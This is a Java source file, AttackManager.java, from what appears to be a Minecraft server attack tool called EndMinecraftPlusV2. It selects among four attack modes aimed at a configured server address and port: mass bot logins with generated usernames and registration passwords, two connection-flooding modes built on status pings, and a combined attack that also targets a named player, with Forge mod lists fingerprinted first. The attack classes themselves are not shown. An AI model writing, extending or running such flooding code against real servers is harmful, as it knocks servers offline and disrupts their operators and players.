EndMinecraftPlusV2/src/cn/serendipityr/EndMinecraftPlusV2/AttackUtils/AttackManager.java

77 lines
3.8 KiB
Java

package cn.serendipityr.EndMinecraftPlusV2.AttackUtils;
import cn.serendipityr.EndMinecraftPlusV2.AttackUtils.Methods.*;
import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2;
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForge;
import cn.serendipityr.EndMinecraftPlusV2.ForgeProtocol.MCForgeMOTD;
import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.DataUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil;
import cn.serendipityr.EndMinecraftPlusV2.Tools.OtherUtils;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
public class AttackManager {
public static void doAttack() {
LogUtil.emptyLog();
switch (ConfigUtil.AttackMethod) {
case 1:
// BotAttack
DataUtil.loadData();
if (DataUtil.botRegPasswords.size() < ConfigUtil.BotCount) {
for (int i = 0; i < (ConfigUtil.BotCount - DataUtil.botRegPasswords.size()); i++) {
DataUtil.updateData(ConfigUtil.BotName.replace("$rnd", OtherUtils.getRandomString(3,5)), OtherUtils.getRandomString(8,10));
}
}
Map<String, String> modList = new HashMap<>();
if (!MCForge.isAfterVersion1_13()) {
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "BotAttack");
modList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
LogUtil.doLog(0, "Mods: " + Arrays.toString(modList.keySet().toArray()), "BotAttack");
}
BotAttack botAttack = new BotAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
botAttack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, modList);
botAttack.start();
break;
case 2:
// MotdAttack
IAttack motdAttack = new MotdAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttack.start();
break;
case 3:
// MotdAttackP
IAttack motdAttackP = new MotdAttackP(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
motdAttackP.start();
break;
case 4:
// DoubleAttack
Map<String, String> doubleModList = new HashMap<>();
if (!MCForge.isAfterVersion1_13()) {
LogUtil.doLog(0, "正在获取服务器上的Forge Mods...", "DoubleAttack");
doubleModList = new MCForgeMOTD().pingGetModsList(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, MCForge.getProtocolVersion());
LogUtil.doLog(0, "Mods: " + Arrays.toString(doubleModList.keySet().toArray()), "DoubleAttack");
}
DoubleAttack attack = new DoubleAttack(ConfigUtil.AttackAddress, ConfigUtil.AttackPort, ConfigUtil.AttackTime, ConfigUtil.MaxConnections, ConfigUtil.ConnectDelay);
attack.setBotConfig(ConfigUtil.AntiAttackMode, ConfigUtil.TabAttack, doubleModList);
attack.setUsername(ConfigUtil.DoubleExploitPlayer);
attack.start();
break;
default:
EndMinecraftPlusV2.Exit();
}
}
public static String getRandomUser() {
return DataUtil.botRegPasswords.get(new Random().nextInt(DataUtil.botRegPasswords.size()));
}
}